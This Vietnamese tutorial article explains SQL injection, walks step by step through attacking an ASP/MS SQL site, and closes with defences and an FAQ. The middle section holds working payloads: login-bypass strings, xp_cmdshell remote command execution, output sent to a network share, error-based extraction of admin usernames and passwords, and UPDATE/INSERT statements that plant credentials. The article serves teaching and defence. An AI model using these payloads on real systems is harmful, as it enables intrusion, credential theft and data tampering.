SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống

Trong thế giới công nghệ hiện đại, bảo mật thông tin là một yếu tố quan trọng và không thể thiếu. Tuy nhiên, với sự phát triển của các ứng dụng web, các cuộc tấn công mạng cũng trở nên phức tạp và tinh vi hơn. Một trong những phương thức tấn công phổ biến và nguy hiểm nhất là SQL Injection.

Đây là kỹ thuật tấn công mà kẻ xấu có thể lợi dụng lỗ hổng trong cách ứng dụng web xử lý dữ liệu đầu vào để truy cập và thao tác trái phép trên cơ sở dữ liệu. 

SQL Injection là gì và nó hoạt động như nào?

SQL Injection là gì

SQL Injection là một trong những kiểu hack web bằng cách inject các mã SQL query/command vào input trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần username và password, remote execution (thực thi từ xa), dump data và lấy root của SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì, chẳng hạn như Internet Explorer, Netscape, Lynx, ...

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống 1

SQL Injection hoạt động như thế nào?

SQL Injection trở thành vấn đề khá phổ biến với các trang web theo hướng cơ sở dữ liệu, đây là một lỗ hổng dễ phát hiện và cũng rất dễ bị khai thác. Bất kỳ trang web hoặc phần mềm nào có cơ sở dữ liệu người dùng cũng có thể là mục tiêu của các cuộc tấn công theo kiểu này.

Các cuộc tấn công được thực hiện bằng cách đặt một ký tự meta vào dữ liệu đầu vào, sau đó đặt các lệnh SQL trong Control Plane. Lỗ hổng này do SQL không phân biệt được giữa Control Plane và dữ liệu.

Đọc thêm: SQL, MySQL là gì? So sánh sự khác nhau giữa MySQL và SQL

Tìm hiểu các dạng tấn công SQL Injection

Giả mạo

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống 2

Các cuộc tấn công SQL Injection cho phép những kẻ tấn công giả mạo danh tính, giả mạo dữ liệu hiện có, để gây ra các vấn đề như vô hiệu hóa các giao dịch, thay đổi cân bằng, tiết lộ toàn bộ dữ liệu trên hệ thống, phá hủy dữ liệu hoặc làm cho dữ liệu không còn khả dụng để bọn chúng trở thành quản trị viên của máy chủ cơ sở dữ liệu.

Kiểu phổ biến

SQL Injection rất phổ biến với các ứng dụng PHP và ASP do sự tương thích với các giao diện chức năng cũ hơn. Vì bản chất của các giao diện lập trình sẵn có, các ứng dụng J2EE và ASP.NET sẽ ít có khả năng khai thác SQL Injection hơn.

Tính nghiêm trọng

Mức độ nghiêm trọng của các cuộc tấn công SQL Injection được đánh giá qua kỹ năng của kẻ tấn công. Ở mức độ thấp hơn, bạn nên bảo mật bằng các biện pháp đối phó chuyên sâu, cảnh giác cao độ về mức độ nghiêm trọng của SQL Injection để giảm thiểu rủi ro ở mức thấp nhất.

SQL Injection gây ra những tác động gì?

  • Thông tin đăng nhập bị đánh cắp: Sử dụng SQL Injection để tìm kiếm thông tin đăng nhập người dùng. Sau đó, những kẻ tấn công có thể mạo danh người dùng, sử dụng và thay đổi các quyền hạn của người dùng sẵn có.
  • Truy cập cơ sở dữ liệu: Sử dụng SQL Injection để truy cập vào nguồn thông tin được lưu trữ trong máy chủ cơ sở dữ liệu. Điều này có thể gây ra những vấn đề nghiêm trọng cho các dữ liệu của toàn bộ hệ thống vận hành.
  • Xóa dữ liệu: Sử dụng SQL Injection để xóa các bản ghi của cơ sở dữ liệu, bao gồm cả drop tables, gây ra những sự thay đổi hoặc phá vỡ các cấu trúc của cơ sở dữ liệu.
  • Dữ liệu thay thế: Sử dụng SQL Injection để chủ động thay đổi hoặc thêm dữ liệu mới vào cơ sở dữ liệu hiện tại, ảnh hưởng đến kết quả chiết xuất dữ liệu cuối cùng xảy ra những sai lệch.
  • Mạng lưới truy cập: Sử dụng SQL Injection để truy cập vào các máy chủ cơ sở dữ liệu và sử dụng các quyền hạn quản lý trong hệ điều hành. Sau đó, những kẻ tấn công sẽ thực hiện các cuộc tấn công sâu hơn vào mạng lưới.

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống3

Còn bây giờ thì xem chi tiết toàn bộ quá trình tấn công bằng SQL Injection bên dưới đây nhé.

Quá trình tấn công bằng SQL Injection

1. Tìm kiếm mục tiêu

Có thể tìm các trang web cho phép submit dữ liệu ở bất kì một trình tìm kiếm nào trên mạng, chẳng hạn như các trang login, search, feedback, ...

Ví dụ:

http://yoursite.com/index.asp?id=10

Một số trang web chuyển tham số qua các field ẩn, phải xem mã HTML mới thấy rõ. Ví dụ như ở dưới.

<FORM action=Search/search.asp method=post>
<input type=hidden name=A value=C>
</FORM>

2. Kiểm tra chỗ yếu của trang web

Thử submit các field username, password hoặc field id, .. bằng hi' or 1=1--

Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--

Nếu site chuyển tham số qua field ẩn, hãy download source HTML, lưu trên đĩa cứng và thay đổi lại URL cho phù hợp. Ví dụ:

<FORM action=http://yoursite.com/Search/search.asp method=post>
<input type=hidden name=A value="hi' or 1=1--">
</FORM>

Nếu thành công, thì có thể login vào mà không cần phải biết username và password

3. Tại sao ' or 1=1-- có thể vượt qua phần kiểm tra đăng nhập?

Giả sử như có một trang ASP liên kết đến một ASP trang khác với URL như sau:

http://yoursite.com/index.asp?category=food

Trong URL trên, biến 'category' được gán giá trị là 'food'. Mã ASP của trang này có thể như sau (đây chỉ là ví dụ thôi):

v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)

v_cat sẽ chứa giá trị của biến request("category") là 'food' và câu lệnh SQL tiếp theo sẽ là:

SELECT * FROM product WHERE PCategory='food'

Dòng query trên sẽ trả về một tập resultset chứa một hoặc nhiều dòng phù hợp với điều kiện WHERE PCategory='food'

Nếu thay đổi URL trên thành http://yoursite.com/index.asp?category=food' or 1=1--, biến v_cat sẽ chứa giá trị "food' or 1=1-- " và dòng lệnh SQL query sẽ là:

SELECT * FROM product WHERE PCategory='food' or 1=1--'

Dòng query trên sẽ select mọi thứ trong bảng product bất chấp giá trị của trường PCategory có bằng 'food' hay không. Hai dấu gạch ngang (--) chỉ cho MS SQL server biết đã hết dòng query, mọi thứ còn lại sau "--" sẽ bị bỏ qua. Đối với MySQL, hãy thay "--" thành "#"

Ngoài ra, cũng có thể thử cách khác bằng cách submit ' or 'a'='a. Dòng SQL query bây giờ sẽ là:

SELECT * FROM product WHERE PCategory='food' or 'a'='a'

Một số loại dữ liệu khác mà cũng nên thử submit để biết xem trang web có gặp lỗi hay không:

' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a

4. Thi hành lệnh từ xa bằng SQL Injection

Nếu cài đặt với chế độ mặc định mà không có điều chỉnh gì, MS SQL Server sẽ chạy ở mức SYSTEM, tương đương với mức truy cập Administrator trên Windows. Có thể dùng store procedure xp_cmdshell trong CSDL master để thi hành lệnh từ xa:

'; exec master..xp_cmdshell 'ping 10.10.1.2'--

Hãy thử dùng dấu nháy đôi (") nếu dấu nháy đơn (') không làm việc.

Dấu chấm phẩy (sẽ kết thúc dòng SQL query hiện tại và cho phép thi hành một SQL command mới. Để kiểm tra xem lệnh trên có được thi hành hay không, có thể listen các ICMP packet từ 10.10.1.2 bằng tcpdump như sau:

#tcpdump icmp

Nếu nhận được ping request từ 10.10.1.2 nghĩa là lệnh đã được thi hành.

5. Nhận output của SQL query

Có thể dùng sp_makewebtask để ghi các output của SQL query ra một file HTML

'; EXEC master..sp_makewebtask "\\10.10.1.3\share\output.html", "SELECT * FROM INFORMATION_SCHEMA.TABLES"

Chú ý: folder "share" phải được share cho Everyone trước.

6. Nhận dữ liệu qua 'database using ODBC error message'

Các thông báo lỗi của MS SQL Server thường đưa cho bạn những thông tin quan trọng. Lấy ví dụ ở trên http://yoursite.com/index.asp?id=10, bây giờ chúng ta thử hợp nhất integer '10' với một string khác lấy từ CSDL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Bảng INFORMATION_SCHEMA.TABLES của hệ thống SQL Server chứa thông tin về tất cả các bảng (table) có trên server. Trường TABLE_NAME chứa tên của mỗi bảng trong CSDL. Chúng ta chọn nó bởi vì chúng ta biết rằng nó luôn tồn tại. Query của chúng ta là:

SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--

Dòng query này sẽ trả về tên của bảng đầu tiên trong CSDL

Khi chúng ta kết hợp chuỗi này với số integer 10 qua statement UNION, MS SQL Server sẽ cố thử chuyển một string (nvarchar) thành một số integer. Điều này sẽ gặp lỗi nếu như không chuyển được nvarchar sang int, server sẽ hiện thông báo lỗi sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value
'table1' to a column of data type int.
/index.asp, line 5

Thông báo lỗi trên cho biết giá trị muốn chuyển sang integer nhưng không được, "table1". Đây cũng chính là tên của bảng đầu tiên trong CSDL mà chúng ta đang muốn có.

Để lấy tên của tên của bảng tiếp theo, có thể dùng query sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME NOT IN ('table1')--

Cũng có thể thử tìm dữ liệu bằng cách khác thông qua statement LIKE của câu lệnh SQL:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_NAME LIKE '%25login%25'--

Khi đó thông báo lỗi của SQL Server có thể là:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'admin_login' to a column of data type int.

/index.asp, line 5

Mẫu so sánh '%25login%25' sẽ tương đương với %login% trong SQL Server. Như thấy trong thông báo lỗi trên, chúng ta có thể xác định được tên của một table quan trọng là "admin_login".

7. Xác định tên của các column trong table

Table INFORMATION_SCHEMA.COLUMNS chứa tên của tất cả các column trong table. Có thể khai thác như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_id' to a column of data type int.

/index.asp, line 5

Như vậy tên của column đầu tiên là "login_id". Để lấy tên của các column tiếp theo, có thể dùng mệnh đề logic NOT IN () như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'login_name' to a column of data type int.

/index.asp, line 5

Làm tương tự như trên, có thể lấy được tên của các column còn lại như "password", "details". Khi đó ta lấy tên của các column này qua các thông báo lỗi của SQL Server, như ví dụ sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='admin_login' WHERE COLUMN_NAME NOT IN ('login_id','login_name','password',details')--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the select list if the statement contains a UNION operator.

/index.asp, line 5

8. Thu thập các dữ liệu quan trọng

Chúng ta đã xác định được các tên của các table và column quan trọng. Chúng ta sẽ thu thập các thông tin quan trọng từ các table và column này.

Có thể lấy login_name đầu tiên trong table "admin_login" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_login--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'neo' to a column of data type int.

/index.asp, line 5

Dễ dàng nhận ra được admin user đầu tiên có login_name là "neo". Hãy thử lấy password của "neo" như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='neo'--

Khi đó thông báo lỗi của SQL Server có thể như sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value 'm4trix' to a column of data type int.

/index.asp, line 5

Và bây giờ là đã có thể login vào với username là "neo" và password là "m4trix".

9. Nhận các numeric string

Có một hạn chế nhỏ đối với phương pháp trên. Chúng ta không thể nhận được các error message nếu server có thể chuyển text đúng ở dạng số (text chỉ chứa các kí tự số từ 0 đến 9). Giả sử như password của "trinity" là "31173". Vậy nếu ta thi hành lệnh sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login where login_name='trinity'--

Thì khi đó chỉ nhận được thông báo lỗi "Page Not Found". Lý do bởi vì server có thể chuyển passoword "31173" sang dạng số trước khi UNION với integer 10. Để giải quyết vấn đề này, chúng ta có thể thêm một vài kí tự alphabet vào numeric string này để làm thất bại sự chuyển đổi từ text sang số của server. Dòng query mới như sau:

http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'%20morpheus') FROM admin_login where login_name='trinity'--

Chúng ta dùng dấu cộng (+) để nối thêm text vào password (ASCII code của '+' là 0x2b). Chúng ta thêm chuỗi '(space)morpheus' vào cuối password để tạo ra một string mới không phải numeric string là '31173 morpheus'. Khi hàm convert() được gọi để chuyển '31173 morpheus' sang integer, SQL server sẽ phát lỗi ODBC error message sau:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarchar value '31173 morpheus' to a column of data type int.

/index.asp, line 5

Và nghĩa là bây giờ ta cũng có thể login vào với username 'trinity' và password là '31173'

10. Thay đổi dữ liệu (Update/Insert) của CSDL

Khi đã có tên của tất cả các column trong table, có thể sử dụng lệnh UPDATE hoặc INSERT để sửa đổi/tạo mới một record vào table này.

Để thay đổi password của "neo", có thể làm như sau:

http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpas5' WHERE login_name='neo'--

Hoặc nếu bạn muốn một record mới vào table:

http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'login_name', 'password', 'details') VALUES (666,'neo2','newpas5','NA')--

Và bây giờ có thể login vào với username "neo2" và password là "newpas5"

Các trường hợp tấn công SQL Injection thì phải làm sao?

Một số cách tấn công bằng SQL Injection phổ biến nhất

Chèn SQL Injection dựa trên đầu vào

Một cuộc tấn công SQL Injection thường phổ biến với việc sử dụng các đầu vào của người dùng. Các ứng dụng web đều chấp nhận các đầu vào thông qua nhiều hình thức khác nhau. Thông qua đó, những kẻ tấn công có thể gắn SQL Injection với các dữ liệu đầu vào và truy cập vào cơ sở dữ liệu máy chủ.

Chèn SQL Injection dựa trên cookie

Một cách tiếp cận khác với SQL Injection là sửa đổi cookie thành các truy vấn cơ sở dữ liệu chứa mã độc. Các phần mềm độc hại có thể được triển khai trên thiết bị người dùng thông qua thay đổi của cookie, nhằm mục đích đưa SQL Injection vào các dữ liệu Back-end.

Chèn SQL Injection dựa trên headers HTTP

Các biến của máy chủ như headers HTTP cũng có thể là mục tiêu tấn công của SQL Injection. Nếu một ứng dụng web chấp nhận đầu vào từ các headers HTTP, các headers giả có chứa SQL Injection có thể xâm nhập vào cơ sở dữ liệu.

Chèn SQL Injection bằng bậc hai

Một cuộc tấn SQL Injection bậc hai cung cấp các dữ liệu bị nhiễm độc, mà đây là các dữ liệu có thể được xem là lành tình trong một trường hợp nhất định, nhưng chứa các mã độc trong trường hợp khác. Bạn khó có thể nhận thức được các cuộc tấn công theo cách thức này.

Ngăn chặn SQL Injection bằng cách nào?

SQL Injection: Quá trình tấn công, hậu quả và cách phòng chống 4

Các tổ chức có thể tập trung vào những bước sau đây để bảo vệ mình khỏi những cuộc tấn công SQL Injection:

  • Không bao giờ được tin tưởng những input người dùng nhập vào: Dữ liệu luôn phải được xác thực trước khi sử dụng trong các câu lệnh SQL.
  • Các thủ tục được lưu trữ: Những thủ tục này có thể trừu tượng hóa các lệnh SQL và xem xét toàn bộ input như các tham số. Nhờ đó, nó không thể gây ảnh hưởng đến cú pháp lệnh SQL.
  • Các lệnh được chuẩn bị sẵn: Điều này bao gồm việc tạo truy vấn SQL như hành động đầu tiên và sau đó xử lý toàn bộ dữ liệu được gửi như những tham số.
  • Những cụm từ thông dụng: Những cụm từ này được sử dụng để phát hiện mã độc và loại bỏ nó trước khi câu lệnh SQL được thực hiện.
  • Thông báo lỗi đúng: Thông báo lỗi phải tuyệt đối tránh tiết lộ những thông tin/chi tiết nhạy cảm và vị trí xảy ra lỗi trên thông báo lỗi.
  • Giới hạn quyền truy cập của người dùng đối với cơ sở dữ liệu: Chỉ những tài khoản có quyền truy cập theo yêu cầu mới được kết nối với cơ sở dữ liệu. Điều này có thể giúp giảm thiểu những lệnh SQL được thực thi tự động trên server.
  • Hãy loại bỏ các kí tự meta như '"/\; và các kí tự extend như NULL, CR, LF, ... trong các string nhận được từ: input do người dùng đệ trình các tham số từ URL các giá trị từ cookie
  • Đối với các giá trị numeric, hãy chuyển nó sang integer trước khi query SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một số integer.
  • Thay đổi "Startup and run SQL Server" dùng mức low privilege user trong tab SQL Server Security. Xóa các stored procedure trong database master mà không dùng như: xp_cmdshell xp_startmail xp_sendmail sp_makewebtask

Ngăn chặn SQL Injection trong ASP.NET

Các cách thức ngăn chặn SQL Injection được trình bày ở phần 12 đã bao quát đủ phương pháp, nhưng trong ASP.NET có cách ngăn chặn đơn giản là sử dụng các Parameters khi làm việc với object SqlCommand (hoặc OleDbCommand) chứ không sử dụng các câu lệnh SQL trực tiếp. Khi đó .NET sẽ tự động validate kiểu dữ liệu, nội dung dữ liệu trước khi thực hiện câu lệnh SQL.

Ngoài ra, cũng cần kiểm soát tốt các thông báo lỗi. Và mặc định trong ASP.NET là thông báo lỗi sẽ không được thông báo chi tiết khi không chạy trên localhost.

Qua bài viết đầy đủ và chi tiết trên đây, chúng tôi chắc chắn bạn đã hiểu hơn về SQL Injection từ khái niệm, cách thức hoặt động cho đến quá trình tấn công và cách phòng chống hiệu quả nhất. Hi vọng những thông tin này giúp ích nhiều cho bạn đọc. 

Một số câu hỏi thường gặp

Hậu quả của tấn công SQL Injection là gì?

Hậu quả của tấn công SQL Injection có thể rất nghiêm trọng, bao gồm mất dữ liệu nhạy cảm, tiết lộ thông tin cá nhân của người dùng, phá hủy dữ liệu, gián đoạn hoạt động của ứng dụng, và mất uy tín đối với tổ chức. Ngoài ra, kẻ tấn công có thể sử dụng SQL Injection để chiếm quyền điều khiển hệ thống và thực hiện các hành động bất hợp pháp khác.

Làm thế nào để nhận biết một ứng dụng có thể bị tấn công SQL Injection?

Một ứng dụng có thể bị tấn công SQL Injection nếu nó không kiểm tra và lọc đầu vào của người dùng một cách chặt chẽ. Dấu hiệu của việc bị tấn công bao gồm các lỗi SQL bất thường xuất hiện khi nhập dữ liệu, hoặc khi có các hành vi bất thường như mất dữ liệu, truy xuất thông tin không hợp lệ, hoặc sự hiện diện của các thông báo lỗi liên quan đến cơ sở dữ liệu.

Tham số hóa truy vấn SQL là gì và tại sao nó quan trọng trong việc chống lại SQL Injection?

Tham số hóa truy vấn SQL là một kỹ thuật trong đó các tham số đầu vào của người dùng được xử lý riêng biệt khỏi mã SQL, giúp ngăn chặn việc chèn mã độc vào truy vấn. Bằng cách sử dụng các tham số thay vì kết hợp trực tiếp đầu vào của người dùng vào câu lệnh SQL, bạn có thể bảo vệ ứng dụng khỏi các cuộc tấn công SQL Injection. Đây là một trong những biện pháp hiệu quả nhất để đảm bảo an toàn cho cơ sở dữ liệu.

Mọi người cùng tìm kiếm: sql injection là gì, tấn công sql injection, '+or+1=1--, asp sql injection